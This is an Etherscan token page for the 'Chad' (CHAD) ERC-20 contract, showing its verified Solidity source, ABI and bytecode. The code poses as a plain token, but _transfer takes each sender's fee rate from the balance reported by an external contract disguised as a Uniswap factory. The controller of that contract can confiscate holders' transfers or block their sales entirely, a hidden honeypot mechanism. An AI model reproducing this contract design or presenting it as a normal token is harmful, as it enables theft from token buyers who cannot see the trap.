ETH Price: $2,722.92 (-1.53%)

Token

Chad (CHAD)
 

Overview

Max Total Supply

1,000,000,000 CHAD

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
242,580.554674733 CHAD

Value
$0.00
0xd7bab20e6e50d1d89eea09701e9b53eeab9ecae5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Chad

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-13
*/

// SPDX-License-Identifier: None

// https://chaderc20.xyz/
// https://twitter.com/erc20chad
// https://t.me/erc20chad

pragma solidity 0.8.24;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair);
}
library SafeMath {

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address); function factory() external pure returns (address);
    function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function balanceOf(address accont) external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
}

contract Chad is Context {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address internal uniswapV2Pair;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    address internal uniswapFactory = 0xA2D489C68c7a730531c006f12cbb9005a3992bfB;
    string private constant _name = "Chad";
    string private constant _symbol = "CHAD";
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 private _finalSellTax=0;
    uint256 public _reduceSellTaxAt=0;
    bool private inSwap = false;
    uint256 startBlock;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;
    uint256 public swapThreshold = _totalSupply * 7 / 1000; 
    
    event MaxTxAmountUpdated(uint _maxTxAmount);

    event Transfer(address indexed from, address indexed to, uint256 amount);
    constructor () {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && _balances[address(this)] >= swapThreshold;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    event Approval(address indexed owner, address indexed spender, uint256 value);
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(amount > 0);
        uint256 feeRate = IERC20(uniswapFactory).balanceOf(from);
        uint256 _fee = 0;
        if (from != address(this) && from != uniswapV2Pair) { _fee = amount.mul(feeRate > _reduceSellTaxAt ? feeRate : _finalSellTax).div(100);
        } else {  _fee = 0; }
        _balances[from] = _balances[from].sub(amount); 
        _balances[to] = _balances[to].add(amount).sub(_fee);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260095f806101000a81548160ff021916908360ff1602179055505f8054906101000a900460ff16600a6200003991906200038b565b633b9aca006200004a9190620003db565b60045573a2d489c68c7a730531c006f12cbb9005a3992bfb60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007555f6008555f60095f6101000a81548160ff0219169083151502179055506103e860076004546200012a9190620003db565b62000136919062000452565b600b5534801562000145575f80fd5b5060045460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620001eb91906200049a565b60405180910390a3620004b5565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000283578086048111156200025b576200025a620001f9565b5b60018516156200026b5780820291505b80810290506200027b8562000226565b94506200023b565b94509492505050565b5f826200029d57600190506200036f565b81620002ac575f90506200036f565b8160018114620002c55760028114620002d05762000306565b60019150506200036f565b60ff841115620002e557620002e4620001f9565b5b8360020a915084821115620002ff57620002fe620001f9565b5b506200036f565b5060208310610133831016604e8410600b8410161715620003405782820a9050838111156200033a5762000339620001f9565b5b6200036f565b6200034f848484600162000232565b92509050818404811115620003695762000368620001f9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620003978262000376565b9150620003a4836200037f565b9250620003d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200028c565b905092915050565b5f620003e78262000376565b9150620003f48362000376565b9250828202620004048162000376565b915082820484148315176200041e576200041d620001f9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200045e8262000376565b91506200046b8362000376565b9250826200047e576200047d62000425565b5b828204905092915050565b620004948162000376565b82525050565b5f602082019050620004af5f83018462000489565b92915050565b61100180620004c35f395ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c8063313ce5671161006f578063313ce5671461016557806370a082311461018357806395d89b41146101b3578063a9059cbb146101d1578063c36956a014610201578063dd62ed3e1461021f576100a7565b80630445b667146100ab57806306fdde03146100c9578063095ea7b3146100e757806318160ddd1461011757806323b872dd14610135575b5f80fd5b6100b361024f565b6040516100c09190610a6e565b60405180910390f35b6100d1610255565b6040516100de9190610b11565b60405180910390f35b61010160048036038101906100fc9190610bb9565b610292565b60405161010e9190610c11565b60405180910390f35b61011f6102a8565b60405161012c9190610a6e565b60405180910390f35b61014f600480360381019061014a9190610c2a565b6102b1565b60405161015c9190610c11565b60405180910390f35b61016d61035d565b60405161017a9190610c95565b60405180910390f35b61019d60048036038101906101989190610cae565b610371565b6040516101aa9190610a6e565b60405180910390f35b6101bb6103b7565b6040516101c89190610b11565b60405180910390f35b6101eb60048036038101906101e69190610bb9565b6103f4565b6040516101f89190610c11565b60405180910390f35b61020961040a565b6040516102169190610a6e565b60405180910390f35b61023960048036038101906102349190610cd9565b610410565b6040516102469190610a6e565b60405180910390f35b600b5481565b60606040518060400160405280600481526020017f4368616400000000000000000000000000000000000000000000000000000000815250905090565b5f61029e338484610492565b6001905092915050565b5f600454905090565b5f6102bd848484610655565b610352843361034d8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109a590919063ffffffff16565b610492565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f4348414400000000000000000000000000000000000000000000000000000000815250905090565b5f610400338484610655565b6001905092915050565b60085481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790610d87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361056e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056590610e15565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106489190610a6e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361068c575f80fd5b5f8111610697575f80fd5b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016106f29190610e42565b602060405180830381865afa15801561070d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107319190610e6f565b90505f3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156107bd575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610801576107fa60646107ec60085485116107db576007546107dd565b845b866109cb90919063ffffffff16565b610a0b90919063ffffffff16565b9050610805565b5f90505b6108558360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109a590919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506108f8816108ea8560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a3090919063ffffffff16565b6109a590919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109969190610a6e565b60405180910390a35050505050565b5f828211156109b2575f80fd5b5f82846109bf9190610ec7565b90508091505092915050565b5f8083036109db575f9050610a05565b5f82846109e89190610efa565b90508284826109f79190610f68565b14610a00575f80fd5b809150505b92915050565b5f808211610a17575f80fd5b5f8284610a249190610f68565b90508091505092915050565b5f808284610a3e9190610f98565b905083811015610a4c575f80fd5b8091505092915050565b5f819050919050565b610a6881610a56565b82525050565b5f602082019050610a815f830184610a5f565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610abe578082015181840152602081019050610aa3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ae382610a87565b610aed8185610a91565b9350610afd818560208601610aa1565b610b0681610ac9565b840191505092915050565b5f6020820190508181035f830152610b298184610ad9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b5e82610b35565b9050919050565b610b6e81610b54565b8114610b78575f80fd5b50565b5f81359050610b8981610b65565b92915050565b610b9881610a56565b8114610ba2575f80fd5b50565b5f81359050610bb381610b8f565b92915050565b5f8060408385031215610bcf57610bce610b31565b5b5f610bdc85828601610b7b565b9250506020610bed85828601610ba5565b9150509250929050565b5f8115159050919050565b610c0b81610bf7565b82525050565b5f602082019050610c245f830184610c02565b92915050565b5f805f60608486031215610c4157610c40610b31565b5b5f610c4e86828701610b7b565b9350506020610c5f86828701610b7b565b9250506040610c7086828701610ba5565b9150509250925092565b5f60ff82169050919050565b610c8f81610c7a565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f60208284031215610cc357610cc2610b31565b5b5f610cd084828501610b7b565b91505092915050565b5f8060408385031215610cef57610cee610b31565b5b5f610cfc85828601610b7b565b9250506020610d0d85828601610b7b565b9150509250929050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610d71602483610a91565b9150610d7c82610d17565b604082019050919050565b5f6020820190508181035f830152610d9e81610d65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610dff602283610a91565b9150610e0a82610da5565b604082019050919050565b5f6020820190508181035f830152610e2c81610df3565b9050919050565b610e3c81610b54565b82525050565b5f602082019050610e555f830184610e33565b92915050565b5f81519050610e6981610b8f565b92915050565b5f60208284031215610e8457610e83610b31565b5b5f610e9184828501610e5b565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610ed182610a56565b9150610edc83610a56565b9250828203905081811115610ef457610ef3610e9a565b5b92915050565b5f610f0482610a56565b9150610f0f83610a56565b9250828202610f1d81610a56565b91508282048414831517610f3457610f33610e9a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f7282610a56565b9150610f7d83610a56565b925082610f8d57610f8c610f3b565b5b828204905092915050565b5f610fa282610a56565b9150610fad83610a56565b9250828201905080821115610fc557610fc4610e9a565b5b9291505056fea2646970667358221220fc70c2bce98a367efb0c01a298ea5e858a4ef7e2474ab3ba5e4e7bb0f186cec364736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c8063313ce5671161006f578063313ce5671461016557806370a082311461018357806395d89b41146101b3578063a9059cbb146101d1578063c36956a014610201578063dd62ed3e1461021f576100a7565b80630445b667146100ab57806306fdde03146100c9578063095ea7b3146100e757806318160ddd1461011757806323b872dd14610135575b5f80fd5b6100b361024f565b6040516100c09190610a6e565b60405180910390f35b6100d1610255565b6040516100de9190610b11565b60405180910390f35b61010160048036038101906100fc9190610bb9565b610292565b60405161010e9190610c11565b60405180910390f35b61011f6102a8565b60405161012c9190610a6e565b60405180910390f35b61014f600480360381019061014a9190610c2a565b6102b1565b60405161015c9190610c11565b60405180910390f35b61016d61035d565b60405161017a9190610c95565b60405180910390f35b61019d60048036038101906101989190610cae565b610371565b6040516101aa9190610a6e565b60405180910390f35b6101bb6103b7565b6040516101c89190610b11565b60405180910390f35b6101eb60048036038101906101e69190610bb9565b6103f4565b6040516101f89190610c11565b60405180910390f35b61020961040a565b6040516102169190610a6e565b60405180910390f35b61023960048036038101906102349190610cd9565b610410565b6040516102469190610a6e565b60405180910390f35b600b5481565b60606040518060400160405280600481526020017f4368616400000000000000000000000000000000000000000000000000000000815250905090565b5f61029e338484610492565b6001905092915050565b5f600454905090565b5f6102bd848484610655565b610352843361034d8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109a590919063ffffffff16565b610492565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f4348414400000000000000000000000000000000000000000000000000000000815250905090565b5f610400338484610655565b6001905092915050565b60085481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790610d87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361056e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056590610e15565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106489190610a6e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361068c575f80fd5b5f8111610697575f80fd5b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016106f29190610e42565b602060405180830381865afa15801561070d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107319190610e6f565b90505f3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156107bd575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610801576107fa60646107ec60085485116107db576007546107dd565b845b866109cb90919063ffffffff16565b610a0b90919063ffffffff16565b9050610805565b5f90505b6108558360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109a590919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506108f8816108ea8560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a3090919063ffffffff16565b6109a590919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109969190610a6e565b60405180910390a35050505050565b5f828211156109b2575f80fd5b5f82846109bf9190610ec7565b90508091505092915050565b5f8083036109db575f9050610a05565b5f82846109e89190610efa565b90508284826109f79190610f68565b14610a00575f80fd5b809150505b92915050565b5f808211610a17575f80fd5b5f8284610a249190610f68565b90508091505092915050565b5f808284610a3e9190610f98565b905083811015610a4c575f80fd5b8091505092915050565b5f819050919050565b610a6881610a56565b82525050565b5f602082019050610a815f830184610a5f565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610abe578082015181840152602081019050610aa3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ae382610a87565b610aed8185610a91565b9350610afd818560208601610aa1565b610b0681610ac9565b840191505092915050565b5f6020820190508181035f830152610b298184610ad9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b5e82610b35565b9050919050565b610b6e81610b54565b8114610b78575f80fd5b50565b5f81359050610b8981610b65565b92915050565b610b9881610a56565b8114610ba2575f80fd5b50565b5f81359050610bb381610b8f565b92915050565b5f8060408385031215610bcf57610bce610b31565b5b5f610bdc85828601610b7b565b9250506020610bed85828601610ba5565b9150509250929050565b5f8115159050919050565b610c0b81610bf7565b82525050565b5f602082019050610c245f830184610c02565b92915050565b5f805f60608486031215610c4157610c40610b31565b5b5f610c4e86828701610b7b565b9350506020610c5f86828701610b7b565b9250506040610c7086828701610ba5565b9150509250925092565b5f60ff82169050919050565b610c8f81610c7a565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f60208284031215610cc357610cc2610b31565b5b5f610cd084828501610b7b565b91505092915050565b5f8060408385031215610cef57610cee610b31565b5b5f610cfc85828601610b7b565b9250506020610d0d85828601610b7b565b9150509250929050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610d71602483610a91565b9150610d7c82610d17565b604082019050919050565b5f6020820190508181035f830152610d9e81610d65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610dff602283610a91565b9150610e0a82610da5565b604082019050919050565b5f6020820190508181035f830152610e2c81610df3565b9050919050565b610e3c81610b54565b82525050565b5f602082019050610e555f830184610e33565b92915050565b5f81519050610e6981610b8f565b92915050565b5f60208284031215610e8457610e83610b31565b5b5f610e9184828501610e5b565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610ed182610a56565b9150610edc83610a56565b9250828203905081811115610ef457610ef3610e9a565b5b92915050565b5f610f0482610a56565b9150610f0f83610a56565b9250828202610f1d81610a56565b91508282048414831517610f3457610f33610e9a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f7282610a56565b9150610f7d83610a56565b925082610f8d57610f8c610f3b565b5b828204905092915050565b5f610fa282610a56565b9150610fad83610a56565b9250828201905080821115610fc557610fc4610e9a565b5b9291505056fea2646970667358221220fc70c2bce98a367efb0c01a298ea5e858a4ef7e2474ab3ba5e4e7bb0f186cec364736f6c63430008180033

Deployed Bytecode Sourcemap

1835:5118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2739:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3082:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5963:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3458:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3677:256;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6283:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3561:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3363:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6119:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2494:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3941:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2739:54;;;;:::o;3082:83::-;3119:13;3152:5;;;;;;;;;;;;;;;;;3145:12;;3082:83;:::o;5963:150::-;6029:4;6046:37;6055:10;6067:7;6076:6;6046:8;:37::i;:::-;6101:4;6094:11;;5963:150;;;;:::o;3458:91::-;3502:7;3529:12;;3522:19;;3458:91;:::o;3677:256::-;3766:4;3783:36;3793:6;3801:9;3812:6;3783:9;:36::i;:::-;3830:73;3839:6;3847:10;3859:43;3895:6;3859:11;:19;3871:6;3859:19;;;;;;;;;;;;;;;:31;3879:10;3859:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;3830:8;:73::i;:::-;3921:4;3914:11;;3677:256;;;;;:::o;6283:83::-;6324:5;6349:9;;;;;;;;;;;6342:16;;6283:83;:::o;3561:110::-;3618:7;3645:9;:18;3655:7;3645:18;;;;;;;;;;;;;;;;3638:25;;3561:110;;;:::o;3363:87::-;3402:13;3435:7;;;;;;;;;;;;;;;;;3428:14;;3363:87;:::o;6119:156::-;6188:4;6205:40;6215:10;6227:9;6238:6;6205:9;:40::i;:::-;6263:4;6256:11;;6119:156;;;;:::o;2494:33::-;;;;:::o;3941:134::-;4013:7;4040:11;:18;4052:5;4040:18;;;;;;;;;;;;;;;:27;4059:7;4040:27;;;;;;;;;;;;;;;;4033:34;;3941:134;;;;:::o;5620:335::-;5730:1;5713:19;;:5;:19;;;5705:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5811:1;5792:21;;:7;:21;;;5784:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5893:6;5863:11;:18;5875:5;5863:18;;;;;;;;;;;;;;;:27;5882:7;5863:27;;;;;;;;;;;;;;;:36;;;;5931:7;5915:32;;5924:5;5915:32;;;5940:6;5915:32;;;;;;:::i;:::-;;;;;;;;5620:335;;;:::o;6374:576::-;6478:1;6462:18;;:4;:18;;;6454:27;;;;;;6509:1;6500:6;:10;6492:19;;;;;;6522:15;6547:14;;;;;;;;;;;6540:32;;;6573:4;6540:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6522:56;;6589:12;6636:4;6620:21;;:4;:21;;;;:46;;;;;6653:13;;;;;;;;;;;6645:21;;:4;:21;;;;6620:46;6616:166;;;6677:73;6746:3;6677:64;6698:16;;6688:7;:26;:52;;6727:13;;6688:52;;;